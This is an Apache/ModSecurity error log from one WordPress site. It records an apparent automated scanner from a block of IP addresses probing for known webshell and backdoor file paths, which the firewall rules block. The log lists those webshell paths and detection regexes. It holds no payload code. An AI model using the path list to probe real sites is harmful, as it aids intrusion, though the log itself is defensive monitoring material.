[Sat Dec 20 21:46:22.875617 2025] [proxy_fcgi:error] [pid 39577:tid 39593] [client 85.203.34.36:37367] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:29.985613 2025] [proxy_fcgi:error] [pid 39577:tid 39585] [client 85.203.34.36:37367] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:30.293701 2025] [proxy_fcgi:error] [pid 39577:tid 39581] [client 85.203.34.36:37367] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:30.599905 2025] [proxy_fcgi:error] [pid 39577:tid 39599] [client 85.203.34.36:37367] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:31.057844 2025] [proxy_fcgi:error] [pid 39577:tid 39582] [client 85.203.34.36:37367] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:31.936322 2025] [:error] [pid 39577:tid 39582] [client 85.203.34.36:37367] [client 85.203.34.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/codeboy1877_up.php"] [unique_id "aUaot7viRnt1rJiSOfxu4wAAAMM"]
[Sat Dec 20 21:46:32.612091 2025] [:error] [pid 14286:tid 14301] [client 85.203.34.40:40729] [client 85.203.34.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-contentt.php"] [unique_id "aUaouJ7rbXIrw6rGSdaLYQAAAUs"]
[Sat Dec 20 21:46:33.198635 2025] [proxy_fcgi:error] [pid 14247:tid 14260] [client 85.203.34.1:40777] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:33.523654 2025] [proxy_fcgi:error] [pid 14247:tid 14251] [client 85.203.34.1:40777] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:35.168629 2025] [proxy_fcgi:error] [pid 14247:tid 14254] [client 85.203.34.1:40777] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:35.504628 2025] [proxy_fcgi:error] [pid 14247:tid 14251] [client 85.203.34.1:40777] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:35.827611 2025] [proxy_fcgi:error] [pid 14247:tid 14252] [client 85.203.34.1:40777] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:36.164614 2025] [proxy_fcgi:error] [pid 14247:tid 14262] [client 85.203.34.1:40777] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:36.553619 2025] [proxy_fcgi:error] [pid 14247:tid 14269] [client 85.203.34.1:40777] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:37.469996 2025] [proxy_fcgi:error] [pid 14247:tid 14273] [client 85.203.34.1:40777] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:37.771616 2025] [proxy_fcgi:error] [pid 14247:tid 14256] [client 85.203.34.1:40777] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:38.086612 2025] [proxy_fcgi:error] [pid 14247:tid 14251] [client 85.203.34.1:40777] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:38.386841 2025] [proxy_fcgi:error] [pid 14247:tid 14272] [client 85.203.34.1:40777] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:38.711598 2025] [proxy_fcgi:error] [pid 14247:tid 14258] [client 85.203.34.1:40777] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:39.048690 2025] [proxy_fcgi:error] [pid 14247:tid 14254] [client 85.203.34.1:40777] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:39.414329 2025] [proxy_fcgi:error] [pid 14247:tid 14255] [client 85.203.34.1:40777] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:40.249681 2025] [proxy_fcgi:error] [pid 14247:tid 14269] [client 85.203.34.1:40777] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:40.573699 2025] [proxy_fcgi:error] [pid 14247:tid 14265] [client 85.203.34.1:40777] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:40.894660 2025] [proxy_fcgi:error] [pid 14247:tid 14259] [client 85.203.34.1:40777] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:41.225831 2025] [proxy_fcgi:error] [pid 14247:tid 14267] [client 85.203.34.1:40777] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:41.532613 2025] [proxy_fcgi:error] [pid 14247:tid 14263] [client 85.203.34.1:40777] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:42.091628 2025] [proxy_fcgi:error] [pid 14247:tid 14260] [client 85.203.34.1:40777] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:42.420891 2025] [proxy_fcgi:error] [pid 14247:tid 14256] [client 85.203.34.1:40777] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:42.728669 2025] [proxy_fcgi:error] [pid 14247:tid 14262] [client 85.203.34.1:40777] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:43.047908 2025] [:error] [pid 14247:tid 14251] [client 85.203.34.1:40777] [client 85.203.34.1] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/lx.php"] [unique_id "aUaowyDv9TtKKdJQn9kckwAAAQI"]
[Sat Dec 20 21:46:45.532629 2025] [proxy_fcgi:error] [pid 33793:tid 33816] [client 85.203.34.35:46933] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:46.057907 2025] [proxy_fcgi:error] [pid 33793:tid 33818] [client 85.203.34.35:46933] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:46.362261 2025] [proxy_fcgi:error] [pid 33793:tid 33811] [client 85.203.34.35:46933] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:46.682790 2025] [proxy_fcgi:error] [pid 33793:tid 33805] [client 85.203.34.35:46933] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:47.013631 2025] [proxy_fcgi:error] [pid 33793:tid 33801] [client 85.203.34.35:46933] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:47.369626 2025] [proxy_fcgi:error] [pid 33793:tid 33797] [client 85.203.34.35:46933] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:47.692649 2025] [proxy_fcgi:error] [pid 33793:tid 33813] [client 85.203.34.35:46933] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:48.021782 2025] [proxy_fcgi:error] [pid 33793:tid 33800] [client 85.203.34.35:46933] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:48.345659 2025] [proxy_fcgi:error] [pid 33793:tid 33810] [client 85.203.34.35:46933] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:48.702603 2025] [proxy_fcgi:error] [pid 33793:tid 33808] [client 85.203.34.35:46933] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:49.047165 2025] [proxy_fcgi:error] [pid 33793:tid 33809] [client 85.203.34.35:46933] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:49.357690 2025] [proxy_fcgi:error] [pid 33793:tid 33805] [client 85.203.34.35:46933] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:49.681650 2025] [proxy_fcgi:error] [pid 33793:tid 33811] [client 85.203.34.35:46933] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:49.972612 2025] [proxy_fcgi:error] [pid 33793:tid 33796] [client 85.203.34.35:46933] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:50.300621 2025] [proxy_fcgi:error] [pid 33793:tid 33817] [client 85.203.34.35:46933] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:50.647636 2025] [proxy_fcgi:error] [pid 33793:tid 33807] [client 85.203.34.35:46933] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:50.971385 2025] [:error] [pid 33793:tid 33800] [client 85.203.34.35:46933] [client 85.203.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/icomsium.php"] [unique_id "aUaoylSicyB0BFmbRMzaxwAAAsU"]
[Sat Dec 20 21:46:51.640812 2025] [proxy_fcgi:error] [pid 14286:tid 14313] [client 85.203.34.50:52323] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:51.977620 2025] [proxy_fcgi:error] [pid 14286:tid 14309] [client 85.203.34.50:52323] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:52.338751 2025] [proxy_fcgi:error] [pid 14286:tid 14290] [client 85.203.34.50:52323] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:52.944620 2025] [proxy_fcgi:error] [pid 14286:tid 14309] [client 85.203.34.50:52323] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:53.274609 2025] [proxy_fcgi:error] [pid 14286:tid 14313] [client 85.203.34.50:52323] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:53.569360 2025] [proxy_fcgi:error] [pid 14286:tid 14307] [client 85.203.34.50:52323] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:53.895622 2025] [proxy_fcgi:error] [pid 14286:tid 14290] [client 85.203.34.50:52323] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:54.184878 2025] [proxy_fcgi:error] [pid 14286:tid 14295] [client 85.203.34.50:52323] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:54.491325 2025] [proxy_fcgi:error] [pid 14286:tid 14307] [client 85.203.34.50:52323] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:54.824082 2025] [proxy_fcgi:error] [pid 14286:tid 14311] [client 85.203.34.50:52323] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:55.164610 2025] [proxy_fcgi:error] [pid 14286:tid 14309] [client 85.203.34.50:52323] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:55.475629 2025] [proxy_fcgi:error] [pid 14286:tid 14310] [client 85.203.34.50:52323] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:55.841333 2025] [proxy_fcgi:error] [pid 14286:tid 14300] [client 85.203.34.50:52323] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:57.613748 2025] [:error] [pid 14286:tid 14309] [client 85.203.34.50:52323] [client 85.203.34.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ALFA_DATA/alfacgiapi/alfa.php"] [unique_id "aUao0Z7rbXIrw6rGSdaNSQAAAVM"]
[Sat Dec 20 21:46:59.213902 2025] [:error] [pid 14247:tid 14258] [client 85.203.34.37:40793] [client 85.203.34.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ALFA_DATA/alfacgiapi/mini.php"] [unique_id "aUao0yDv9TtKKdJQn9kdKgAAAQk"]
[Sat Dec 20 21:47:01.856565 2025] [:error] [pid 33749:tid 33754] [client 85.203.34.49:31077] [client 85.203.34.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/css-ready/file.php"] [unique_id "aUao1doInXJnb96wei9qXwAAAoM"]
[Sat Dec 20 21:47:04.500299 2025] [:error] [pid 33793:tid 33808] [client 85.203.34.15:26069] [client 85.203.34.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/F0x.php"] [unique_id "aUao2FSicyB0BFmbRMzbawAAAs0"]
[Sat Dec 20 21:47:05.424626 2025] [proxy_fcgi:error] [pid 33687:tid 33714] [client 85.203.34.14:56777] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:47:06.650336 2025] [:error] [pid 33687:tid 33706] [client 85.203.34.14:56777] [client 85.203.34.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/gaukingo/db.php"] [unique_id "aUao2jYMR4qK1N4g7vjY0QAAAlA"]
[Sat Dec 20 21:47:07.273851 2025] [:error] [pid 33749:tid 33753] [client 85.203.34.10:53985] [client 85.203.34.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/gaukingo/db.php"] [unique_id "aUao29oInXJnb96wei9qnAAAAoI"]
[Sat Dec 20 21:47:09.711650 2025] [proxy_fcgi:error] [pid 39577:tid 39600] [client 85.203.34.43:37665] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:47:10.270654 2025] [proxy_fcgi:error] [pid 39577:tid 39580] [client 85.203.34.43:37665] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:47:10.613631 2025] [proxy_fcgi:error] [pid 39577:tid 39595] [client 85.203.34.43:37665] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:47:11.513657 2025] [proxy_fcgi:error] [pid 39577:tid 39583] [client 85.203.34.43:37665] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:47:13.647806 2025] [proxy_fcgi:error] [pid 39577:tid 39591] [client 85.203.34.43:37665] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:47:13.950636 2025] [proxy_fcgi:error] [pid 39577:tid 39595] [client 85.203.34.43:37665] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:47:14.245817 2025] [:error] [pid 39577:tid 39589] [client 85.203.34.43:37665] [client 85.203.34.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.api.php"] [unique_id "aUao4rviRnt1rJiSOfxxMAAAAMo"]
[Sat Dec 20 21:47:14.848915 2025] [proxy_fcgi:error] [pid 39577:tid 39586] [client 85.203.34.29:25173] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:47:15.147646 2025] [proxy_fcgi:error] [pid 39577:tid 39601] [client 85.203.34.29:25173] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:47:15.471622 2025] [proxy_fcgi:error] [pid 39577:tid 39597] [client 85.203.34.29:25173] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:47:15.767606 2025] [proxy_fcgi:error] [pid 39577:tid 39594] [client 85.203.34.29:25173] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:47:16.592452 2025] [:error] [pid 39577:tid 39601] [client 85.203.34.29:25173] [client 85.203.34.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aUao5LviRnt1rJiSOfxxSQAAANY"]
[Sat Dec 20 21:47:18.237290 2025] [:error] [pid 39493:tid 39566] [client 85.203.34.50:26409] [client 85.203.34.50] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.203.34.50, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aUao5mhjL2VG_FmIHqAFhQAAAJE"]
[Sat Dec 20 21:47:18.246028 2025] [proxy_fcgi:error] [pid 39493:tid 39566] [client 85.203.34.50:26409] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:47:18.574643 2025] [proxy_fcgi:error] [pid 39493:tid 39569] [client 85.203.34.50:26409] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:47:19.174434 2025] [:error] [pid 39493:tid 39549] [client 85.203.34.50:26409] [client 85.203.34.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aUao52hjL2VG_FmIHqAFjQAAAIA"]
[Sat Dec 20 21:47:20.061620 2025] [proxy_fcgi:error] [pid 33749:tid 33771] [client 85.203.34.1:62443] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:47:21.601665 2025] [proxy_fcgi:error] [pid 33749:tid 33762] [client 85.203.34.1:62443] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:47:22.231476 2025] [proxy_fcgi:error] [pid 33749:tid 33770] [client 85.203.34.1:62443] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:47:22.750314 2025] [:error] [pid 33749:tid 33763] [client 85.203.34.1:62443] [client 85.203.34.1] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aUao6toInXJnb96wei9rkwAAAow"]
[Sat Dec 20 21:47:23.344653 2025] [proxy_fcgi:error] [pid 14247:tid 14271] [client 85.203.34.28:25741] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:47:23.661660 2025] [proxy_fcgi:error] [pid 14247:tid 14269] [client 85.203.34.28:25741] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:47:23.956604 2025] [proxy_fcgi:error] [pid 14247:tid 14262] [client 85.203.34.28:25741] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:47:25.244613 2025] [proxy_fcgi:error] [pid 14247:tid 14268] [client 85.203.34.28:25741] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:47:25.565651 2025] [proxy_fcgi:error] [pid 14247:tid 14270] [client 85.203.34.28:25741] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:47:25.867802 2025] [proxy_fcgi:error] [pid 14247:tid 14271] [client 85.203.34.28:25741] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:47:26.183623 2025] [proxy_fcgi:error] [pid 14247:tid 14269] [client 85.203.34.28:25741] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:47:27.901616 2025] [proxy_fcgi:error] [pid 14247:tid 14261] [client 85.203.34.28:25741] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:47:28.507404 2025] [:error] [pid 14247:tid 14262] [client 85.203.34.28:25741] [client 85.203.34.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aUao8CDv9TtKKdJQn9kelQAAAQ0"]
[Sat Dec 20 21:47:29.109031 2025] [:error] [pid 33844:tid 33864] [client 85.203.34.18:21767] [client 85.203.34.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aUao8SaNtwGsyqqVmQEBlgAAAxI"]
[Sat Dec 20 21:47:29.719291 2025] [:error] [pid 39493:tid 39573] [client 85.203.34.21:27535] [client 85.203.34.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "aUao8WhjL2VG_FmIHqAFuwAAAJg"]
[Sat Dec 20 21:47:30.449593 2025] [:error] [pid 39493:tid 39552] [client 85.203.34.14:44859] [client 85.203.34.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "aUao8mhjL2VG_FmIHqAFvgAAAIM"]
[Sat Dec 20 21:47:31.263261 2025] [proxy_fcgi:error] [pid 33749:tid 33758] [client 85.203.34.15:36819] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:47:31.595020 2025] [proxy_fcgi:error] [pid 33749:tid 33752] [client 85.203.34.15:36819] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:47:32.215359 2025] [:error] [pid 33749:tid 33759] [client 85.203.34.15:36819] [client 85.203.34.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.34.15, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/wp-login.php"] [unique_id "aUao9NoInXJnb96wei9slAAAAog"]
[Sat Dec 20 21:47:33.623871 2025] [proxy_fcgi:error] [pid 33749:tid 33768] [client 85.203.34.15:36819] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:47:33.954328 2025] [:error] [pid 33749:tid 33761] [client 85.203.34.15:36819] [client 85.203.34.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bk/index.php"] [unique_id "aUao9doInXJnb96wei9swAAAAoo"]
[Sat Dec 20 21:47:35.198201 2025] [proxy_fcgi:error] [pid 33749:tid 33767] [client 85.203.34.16:37077] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:47:35.832597 2025] [proxy_fcgi:error] [pid 33749:tid 33767] [client 85.203.34.16:37077] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:47:37.625048 2025] [:error] [pid 33749:tid 33759] [client 85.203.34.16:37077] [client 85.203.34.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "aUao-doInXJnb96wei9tJwAAAog"]
[Sat Dec 20 21:47:38.235640 2025] [proxy_fcgi:error] [pid 14286:tid 14311] [client 85.203.34.9:56987] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:47:39.173251 2025] [:error] [pid 14286:tid 14290] [client 85.203.34.9:56987] [client 85.203.34.9] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.34.9, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/wp-login.php"] [unique_id "aUao-57rbXIrw6rGSdaPFgAAAUA"]
[Sat Dec 20 21:47:39.508949 2025] [proxy_fcgi:error] [pid 14286:tid 14313] [client 85.203.34.9:56987] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:47:39.863043 2025] [:error] [pid 14286:tid 14304] [client 85.203.34.9:56987] [client 85.203.34.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/linkpreview/db.php"] [unique_id "aUao-57rbXIrw6rGSdaPHgAAAU4"]
[Sat Dec 20 21:47:40.929821 2025] [proxy_fcgi:error] [pid 33749:tid 33762] [client 85.203.34.25:29049] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:47:41.253685 2025] [proxy_fcgi:error] [pid 33749:tid 33754] [client 85.203.34.25:29049] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:47:41.854701 2025] [proxy_fcgi:error] [pid 33749:tid 33761] [client 85.203.34.25:29049] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:47:42.165019 2025] [proxy_fcgi:error] [pid 33749:tid 33772] [client 85.203.34.25:29049] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:47:42.504005 2025] [:error] [pid 33749:tid 33756] [client 85.203.34.25:29049] [client 85.203.34.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/makeasmtp.php"] [unique_id "aUao_toInXJnb96wei9tpAAAAoU"]
[Sat Dec 20 21:47:43.185997 2025] [:error] [pid 33749:tid 33764] [client 85.203.34.47:51941] [client 85.203.34.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/about.php"] [unique_id "aUao_9oInXJnb96wei9ttAAAAo0"]
[Sat Dec 20 21:47:43.806075 2025] [proxy_fcgi:error] [pid 33844:tid 33855] [client 85.203.34.30:34585] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:47:44.087603 2025] [proxy_fcgi:error] [pid 33844:tid 33847] [client 85.203.34.30:34585] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:47:44.427628 2025] [proxy_fcgi:error] [pid 33844:tid 33850] [client 85.203.34.30:34585] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:47:44.734075 2025] [proxy_fcgi:error] [pid 33844:tid 33859] [client 85.203.34.30:34585] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:47:45.351691 2025] [proxy_fcgi:error] [pid 33844:tid 33869] [client 85.203.34.30:34585] AH01071: Got error 'Primary script unknown'
